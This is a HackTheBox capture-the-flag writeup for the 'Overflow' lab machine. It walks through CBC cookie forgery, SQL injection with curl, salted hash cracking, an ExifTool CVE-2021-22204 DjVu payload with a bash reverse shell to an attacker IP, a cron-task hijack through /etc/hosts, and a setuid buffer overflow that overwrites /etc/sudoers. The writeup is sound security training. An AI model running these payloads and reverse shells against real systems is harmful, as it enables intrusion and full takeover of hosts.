HTB: Overflow Writeup

Overflow - HackTheBox Writeup

Machine Information

AttributeDetails
NameOverflow
OSLinux
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.129.44.122
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Overflow is a hard difficulty Linux machine that demonstrates several sophisticated attack vectors including CBC padding oracle exploitation, SQL injection, remote code execution through ExifTool (CVE-2021-22204), privilege escalation via scheduled task hijacking, and finally binary exploitation of a setuid buffer overflow. The initial foothold is gained by performing an IV bit-flip attack on a CBC-encrypted session cookie to forge administrator access, then leveraging SQL injection to extract salted password hashes. Credentials are reused across multiple services, allowing access to a file upload portal vulnerable to ExifTool RCE. Lateral movement is achieved through credential reuse and group-based file permissions that enable modification of /etc/hosts, facilitating the hijacking of a scheduled task. Root access is obtained by exploiting a buffer overflow in a custom setuid binary to overwrite sensitive system files.

TL;DR: CBC IV bit-flip → admin cookie → SQLi → password cracking → ExifTool CVE-2021-22204 RCE → credential reuse SSH → /etc/hosts manipulation → scheduled task hijack → buffer overflow setuid binary → root


Reconnaissance

Port Scanning

Terminal window
# Initial port scan
nmap -sC -sV -T4 -p- 10.129.44.122

Results:

  • Port 22/tcp - OpenSSH (version unspecified)
  • Port 25/tcp - Postfix SMTP
  • Port 80/tcp - Apache HTTP Server

The services are running on their default ports. The primary attack surface appears to be the web application on port 80.

Service Enumeration

Web Application (Port 80)

The Apache web server hosts what appears to be a corporate security company website. Key functionality includes:

  • User registration system at /register.php
  • Authentication mechanism using a cookie named auth
  • Admin panel reference after successful authentication
  • Multiple subdomains discovered through enumeration

Initial testing revealed that the auth cookie value changes upon registration, suggesting server-side encryption of session data.

Vulnerability Assessment

Initial enumeration identified the following potential attack vectors:

  1. CBC-encrypted session cookie - The auth cookie appears to use block cipher encryption, potentially vulnerable to padding oracle or bit-flipping attacks
  2. SQL injection - Parameters in authenticated areas may be vulnerable to SQLi
  3. File upload functionality - Discovered through further enumeration on secondary applications
  4. Privilege escalation vectors - To be identified post-compromise

Initial Foothold

Upon registration, users receive an auth cookie that encodes their username. Testing revealed the cookie uses CBC mode encryption with the plaintext format user=<username>.

Understanding the Attack

CBC (Cipher Block Chaining) mode encryption works by XORing each plaintext block with the previous ciphertext block before encryption. The Initialization Vector (IV) is XORed with the first plaintext block. Crucially, we can manipulate the IV to modify the decrypted first block without needing to know the encryption key.

The mathematical relationship is:

Plaintext₁ = Decrypt(Ciphertext₁) ⊕ IV

If we want to change the plaintext, we can compute a new IV:

IV' = IV ⊕ Plaintext₁ ⊕ Desired_Plaintext₁

Executing the Attack

Rather than attempting a full padding oracle attack (which proved unreliable due to inconsistent error signals), I opted for a cleaner IV bit-flip approach:

Terminal window
# Step 1: Register a strategic username
# Registered username: "zzzin"
# This creates plaintext blocks: "user=zzz" | "in" + padding
# Target: "user=adm" | "in" + padding
# Step 2: Capture the auth cookie for user "zzzin"
# Cookie structure: IV (16 bytes) | Ciphertext blocks
# Step 3: Calculate the bit-flip needed
# We control the first block plaintext ("user=zzz")
# We want it to decrypt as "user=adm"
# XOR the IV bytes at positions corresponding to "zzz" with:
# Original: 'z', 'z', 'z' (0x7a, 0x7a, 0x7a)
# Target: 'a', 'd', 'm' (0x61, 0x64, 0x6d)

The bit-flip calculation:

# For each position i in "zzz" -> "adm"
# new_IV[offset+i] = old_IV[offset+i] XOR ord('zzz'[i]) XOR ord('adm'[i])
# Position offsets in "user=zzz":
# 'z' at index 5: IV[5] XOR 0x7a XOR 0x61
# 'z' at index 6: IV[6] XOR 0x7a XOR 0x64
# 'z' at index 7: IV[7] XOR 0x7a XOR 0x6d

After performing the IV manipulation, the modified cookie decrypted to user=admin, granting immediate administrator access to the application.

SQL Injection - Extracting Credentials

With admin access, I discovered an endpoint at /home/logs.php?name=admin that displayed login logs. The name parameter was vulnerable to SQL injection.

Terminal window
# Test for injection
curl -b "auth=<admin_cookie>" \
"http://10.129.44.122/home/logs.php?name=admin'"
# Result: Blank page (error condition)
# Confirm injection with boolean-based payload
curl -b "auth=<admin_cookie>" \
"http://10.129.44.122/home/logs.php?name=admin') or 1=1 -- -"
# Result: Additional rows returned
# Determine column count with UNION
curl -b "auth=<admin_cookie>" \
"http://10.129.44.122/home/logs.php?name=admin') UNION SELECT 1,2,3 -- -"
# Result: Success - 3 columns

Enumerating the Database

Terminal window
# Extract database schema - discovered "cmsmsdb" database
# Target table: cms_users
# Dump credentials from cms_users table
# Payload: admin') UNION SELECT 1,2,CONCAT(username,':',password) FROM cmsmsdb.cms_users -- -

Extracted hashes:

  • admin:<hash1>
  • editor:<hash2>

The hashes appeared to be MD5 but weren’t cracking with standard wordlists. Further enumeration revealed the cms_siteprefs table containing a sitemask value: 6c2d17f37e226486

Password Cracking with Sitemask Salt

CMS Made Simple uses a salted hash format: MD5(sitemask + password)

Terminal window
# Create John the Ripper custom rule file: john-local.conf
cat > john-local.conf << 'EOF'
[List.Rules:CMSMS]
A0"6c2d17f37e226486"
EOF
# This rule prepends the sitemask to each wordlist entry
# Prepare hash file
echo "editor:<hash2>" > hashes.txt
# Run John with custom rule
john --wordlist=/usr/share/wordlists/rockyou.txt \
--format=raw-MD5 \
--rules=CMSMS \
hashes.txt

Cracked credentials: editor:alpha!@#$%bravo

Accessing Secondary Web Application

With editor credentials, I gained access to the CMS Made Simple installation referenced in the admin panel. Enumeration of User Defined Tags revealed information about a third application:

Discovered hostname: devbuild-job.overflow.htb

Terminal window
# Add to hosts file
echo "10.129.44.122 devbuild-job.overflow.htb" | sudo tee -a /etc/hosts
# Access the application
# Credentials reused successfully: editor / alpha!@#$%bravo

ExifTool RCE (CVE-2021-22204)

The devbuild-job.overflow.htb application contained a file upload feature restricted to TIFF and JPEG formats. HTML comments indicated uploaded files were processed by ExifTool:

<!-- In exiftool condition -->

This suggested vulnerability to CVE-2021-22204, a critical remote code execution vulnerability in ExifTool versions before 12.24.

Vulnerability Explanation

CVE-2021-22204 exploits ExifTool’s parsing of DjVu image files. When processing DjVu annotations, ExifTool improperly validates the Copyright metadata field, allowing injection of Perl code through the eval function. By crafting a malicious DjVu file and renaming it with a .jpg extension, we can bypass upload filters and achieve code execution.

Exploitation

Terminal window
# Step 1: Create exploit payload file
cat > exploit << 'EOF'
(metadata
(Copyright "\
" . qx{/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.18/9999 0>&1'} . \
" b ") )
EOF
# Step 2: Create malicious DjVu file
djvumake exploit.djvu INFO=0,0 BGjp=/dev/null ANTa=exploit
# The ANTa parameter specifies the annotation chunk containing our payload
# INFO=0,0 creates a minimal DjVu structure
# BGjp=/dev/null provides an empty background
# Step 3: Rename to bypass JPEG filter
mv exploit.djvu exploit.jpg
# Step 4: Start listener
nc -lnvp 9999
# Step 5: Upload exploit.jpg through the web interface

Result: Reverse shell received as www-data

Terminal window
www-data@overflow:/var/www/devbuild$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Privilege Escalation

Lateral Movement: www-data → developer

Enumeration of the web application directory revealed database credentials:

Terminal window
# Check common configuration files
www-data@overflow:/var/www/html$ cat config/db.php
<?php
$host = "localhost";
$user = "developer";
$pass = "sh@tim@n";
// ... additional config
?>

Credential Reuse for SSH

Terminal window
# Test SSH access with discovered credentials
ssh developer@10.129.44.122
Password: sh@tim@n
developer@overflow:~$ id
uid=1000(developer) gid=1000(developer) groups=1000(developer),1001(network)

Key observation: The developer user is a member of the network group.

Exploiting Network Group Membership

Terminal window
# Search for files owned by the network group
developer@overflow:~$ find / -group network -ls 2>/dev/null
# Output shows: /etc/hosts is writable by group network

The /etc/hosts file is writable by members of the network group, allowing us to redirect hostname resolution.

Discovering the Scheduled Task

/opt/commontask.sh
# Search for files owned by other users that we can read
developer@overflow:~$ find / -user tester -readable -ls 2>/dev/null
developer@overflow:~$ cat /opt/commontask.sh
#!/bin/bash
# This script is being run as user tester every minute
# Downloads and executes task.sh from taskmanage.overflow.htb
curl http://taskmanage.overflow.htb/task.sh | bash

The script is executed every minute by the tester user and fetches task.sh from taskmanage.overflow.htb.

Hijacking the Scheduled Task

Terminal window
# Step 1: Redirect taskmanage.overflow.htb to our attack machine
developer@overflow:~$ echo "10.10.14.18 taskmanage.overflow.htb" >> /etc/hosts
# Step 2: Create malicious task.sh on attack machine
cat > task.sh << 'EOF'
#!/bin/bash
/bin/bash -c 'bash -i &>/dev/tcp/10.10.14.18/7777 0>&1'
EOF
# Step 3: Serve the file via HTTP
python3 -m http.server 80
# Step 4: Start listener
nc -lnvp 7777

Result: Reverse shell received as tester within one minute

Terminal window
tester@overflow:~$ id
uid=1001(tester) gid=1001(tester) groups=1001(tester)
tester@overflow:~$ cat ~/user.txt
<redacted>

Privilege Escalation: tester → root

Discovering the Setuid Binary

Terminal window
# Enumerate setuid binaries
tester@overflow:~$ find / -perm -4000 -ls 2>/dev/null
# Found: /opt/file_encrypt/file_encrypt (owned by root)
tester@overflow:~$ ls -la /opt/file_encrypt/
-rwsr-xr-x 1 root root 17352 file_encrypt
-rw-r--r-- 1 root root 253 README.md
tester@overflow:~$ cat /opt/file_encrypt/README.md

The README indicates:

  • Application requires a PIN to execute
  • Has an encrypt feature (currently disabled in normal execution)
  • Still in development

Binary Analysis

Terminal window
# Run the binary to observe behavior
tester@overflow:~$ /opt/file_encrypt/file_encrypt
This is the code 1804289383. Enter the Pin:

The binary prints a code and requests a PIN. This code is consistent across executions, suggesting a fixed random seed.

I transferred the binary to my local machine for analysis with Ghidra:

Terminal window
# On target
tester@overflow:~$ base64 /opt/file_encrypt/file_encrypt
# Copy output
# On attacker machine
echo "<base64_output>" | base64 -d > file_encrypt
chmod +x file_encrypt

Reverse Engineering the PIN Generation

Ghidra analysis revealed the check_pin() function:

void check_pin(void) {
char local_2c[20];
int local_18;
long local_14;
int local_10;
local_10 = rand(); // Without srand(), always returns 1804289383
local_14 = random(); // Custom function
printf("This is the code %i. Enter the Pin: ", local_10);
scanf("%d", &local_18);
if (local_14 == local_18) {
printf("name: ");
scanf("%s", local_2c); // BUFFER OVERFLOW - no bounds checking!
// ...
}
}

The random() function (custom implementation):

long random(void) {
uint in_stack_00000004; // Actually the code parameter pushed to stack
uint local_c;
int local_8;
local_c = 0x6b8b4567;
for (local_8 = 0; local_8 < 10; local_8++) {
local_c = local_c * 0x59 + 0x14;
}
return local_c ^ in_stack_00000004; // XOR with the code value
}

Since rand() always returns 1804289383 (due to default seed), I can calculate the correct PIN:

pin_calc.c
#include <stdio.h>
int main(void) {
unsigned int code = 1804289383;
unsigned int local_c = 0x6b8b4567;
for (int i = 0; i < 10; i++) {
local_c = local_c * 0x59 + 0x14;
}
printf("%d\n", local_c ^ code);
return 0;
}
Terminal window
# Compile and run
gcc -o pin_calc pin_calc.c
./pin_calc
-202976456

Valid PIN: -202976456

Buffer Overflow Analysis

The scanf() call reads into a 20-byte buffer (local_2c) without bounds checking. Testing confirmed:

Terminal window
# Test with 44 'A's followed by 4 'B's
python3 -c 'print("A"*44 + "B"*4)' | /opt/file_encrypt/file_encrypt
# Segmentation fault - EIP overwritten with 0x42424242 (BBBB)

Offset to EIP: 44 bytes

Finding the Encrypt Function

Terminal window
# Using gdb on target (available)
gdb /opt/file_encrypt/file_encrypt
(gdb) info functions
# ...
# encrypt() function found at: 0x5655585b

The encrypt() function (from Ghidra analysis):

void encrypt(void) {
char input_file[20];
char output_file[20];
struct stat st;
printf("Enter Input File: ");
scanf("%s", input_file);
printf("Enter Encrypted File: ");
scanf("%s", output_file);
stat(input_file, &st);
// Security check on INPUT file only
if (st.st_uid == 0) {
fprintf(stderr, "File %s is owned by root\n", input_file);
exit(1);
}
// XOR encryption with key 0x9b (symmetric operation)
FILE *in = fopen(input_file, "r");
FILE *out = fopen(output_file, "w");
int c;
while ((c = fgetc(in)) != EOF) {
fputc(c ^ 0x9b, out);
}
}

Critical finding: The function checks if the INPUT file is owned by root, but not the OUTPUT file. This means we can overwrite root-owned files!

Exploitation Strategy

Since the encryption is symmetric (XOR with 0x9b), I can:

  1. Create a malicious /etc/sudoers file
  2. Encrypt it using the overflow to call encrypt()
  3. Copy the encrypted file (now owned by us)
  4. Decrypt it by encrypting again, writing to /etc/sudoers
Terminal window
# Step 1: Create malicious sudoers file
tester@overflow:~$ cd /tmp
tester@overflow:/tmp$ echo "tester ALL=(ALL) NOPASSWD:ALL" > sudoers
# Step 2: Create input for first encryption (encrypt our sudoers)
tester@overflow:/tmp$ cat > input1 << 'EOF'
-202976456
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x5b\x58\x55\x56
/tmp/sudoers
/tmp/sudoenc
EOF
# Use Python to properly format the overflow + return address
python3 << 'PYSCRIPT'
with open('input1', 'w') as f:
f.write("-202976456\n") # PIN
f.write("A" * 44 + "\x5b\x58\x55\x56" + "\n") # Overflow to 0x5655585b
f.write("/tmp/sudoers\n") # Input file
f.write("/tmp/sudoenc\n") # Output file (will be root-owned)
PYSCRIPT
# Run the exploit
tester@overflow:/tmp$ /opt/file_encrypt/file_encrypt < input1
# Creates /tmp/sudoenc (encrypted, owned by root)
# Step 3: Copy to bypass ownership restriction
tester@overflow:/tmp$ cp /tmp/sudoenc /tmp/enc
# Now /tmp/enc is owned by tester
# Step 4: Create input for second encryption (decrypt and overwrite /etc/sudoers)
python3 << 'PYSCRIPT'
with open('input2', 'w') as f:
f.write("-202976456\n")
f.write("A" * 44 + "\x5b\x58\x55\x56" + "\n")
f.write("/tmp/enc\n") # Input: our encrypted file
f.write("/etc/sudoers\n") # Output: overwrite real sudoers!
PYSCRIPT
# Execute the overwrite
tester@overflow:/tmp$ /opt/file_encrypt/file_encrypt < input2

Verification:

Terminal window
tester@overflow:/tmp$ sudo -l
User tester may run the following commands on overflow:
(ALL) NOPASSWD: ALL
tester@overflow:/tmp$ sudo -i
root@overflow:~# id
uid=0(root) gid=0(root) groups=0(root)
root@overflow:~# cat /root/root.txt
<redacted>

Attack Chain Summary

Nmap Enumeration (ports 22,25,80)
User Registration + Cookie Analysis
CBC IV Bit-Flip Attack (zzzin → admin cookie)
SQL Injection in /home/logs.php
Extract cms_users + sitemask from cmsmsdb
Crack MD5(sitemask+password) → editor:alpha!@#$%bravo
Login to CMS Made Simple → Discover devbuild-job.overflow.htb
ExifTool RCE (CVE-2021-22204) → Shell as www-data
Config File Enumeration → developer:sh@tim@n
SSH as developer (network group member)
Modify /etc/hosts + Hijack commontask.sh → Shell as tester
Reverse Engineer file_encrypt PIN + Buffer Overflow
Overwrite /etc/sudoers via encrypt() abuse
Root Access

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
curlHTTP requests and SQL injection testing
johnPassword hash cracking with custom rules
djvumakeCreating malicious DjVu files for CVE-2021-22204
ncReverse shell listeners
python3HTTP server and exploit script generation
GhidraBinary reverse engineering
gdbDynamic binary analysis
gccCompiling PIN calculation program
sshRemote access with discovered credentials

Key Learnings

Techniques Practiced

  • CBC IV bit-flipping attack - Manipulating initialization vectors to forge encrypted session data without knowing the encryption key
  • SQL injection exploitation - Extracting sensitive database information through vulnerable parameters
  • Salted hash cracking - Creating custom John the Ripper rules to handle application-specific hash formats
  • CVE exploitation - Leveraging CVE-2021-22204 in ExifTool for remote code execution through metadata injection
  • Credential reuse identification - Tracking passwords across multiple services and applications
  • Privilege escalation through group permissions - Exploiting write access to /etc/hosts for task hijacking
  • Binary reverse engineering - Using Ghidra to analyze control flow and identify vulnerabilities
  • Buffer overflow exploitation - Calculating offsets and redirecting execution flow in setuid binaries
  • Symmetric encryption abuse - Exploiting XOR-based encryption to create malicious file content

Lessons Learned

  1. CBC mode vulnerabilities extend beyond padding oracles. When you control the plaintext being encrypted, IV bit-flipping can provide a cleaner attack path than brute-forcing padding states. Understanding the mathematical relationship between IV, ciphertext, and plaintext is crucial.

  2. Application-specific password hashing requires custom cracking approaches. The CMS Made Simple MD5(sitemask+password) scheme demonstrates why reconnaissance must include identifying salt storage locations and understanding hash construction before attempting to crack.

  3. ExifTool CVE-2021-22204 bypasses rely on file extension spoofing. The vulnerability exists in metadata parsing regardless of extension, making .jpg renamed DjVu files effective against upload filters that check extensions but not magic bytes.

  4. Group-based permissions can be as powerful as user permissions. Membership in the network group provided write access to /etc/hosts, a critical system file that enabled complete DNS redirection for scheduled task hijacking.

  5. Setuid binaries with disabled features are still exploitable. Even though the encrypt() function was not reachable through normal execution flow, buffer overflow allowed arbitrary function invocation, demonstrating why all code paths in privileged binaries must be secured.

  6. Symmetric encryption without integrity checks enables bidirectional attacks. The XOR-based encryption in file_encrypt meant encrypting an encrypted file produced the original plaintext, allowing a double-encryption technique to bypass root ownership checks.

  7. Default random seeds are deterministic. The absence of srand() initialization meant rand() always returned the same sequence, making the PIN “security” completely ineffective—a reminder that entropy sources must be properly seeded.

  8. Credential reuse compounds risk across attack surfaces. The editor credentials were valid across CMS Made Simple and the devbuild job application, while developer credentials from web config worked for SSH, showing how a single compromised password can cascade through an environment.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

This writeup drew technical context and vulnerability explanations from the official HackTheBox writeup for Overflow by polarbearer (Document No D22.100.165).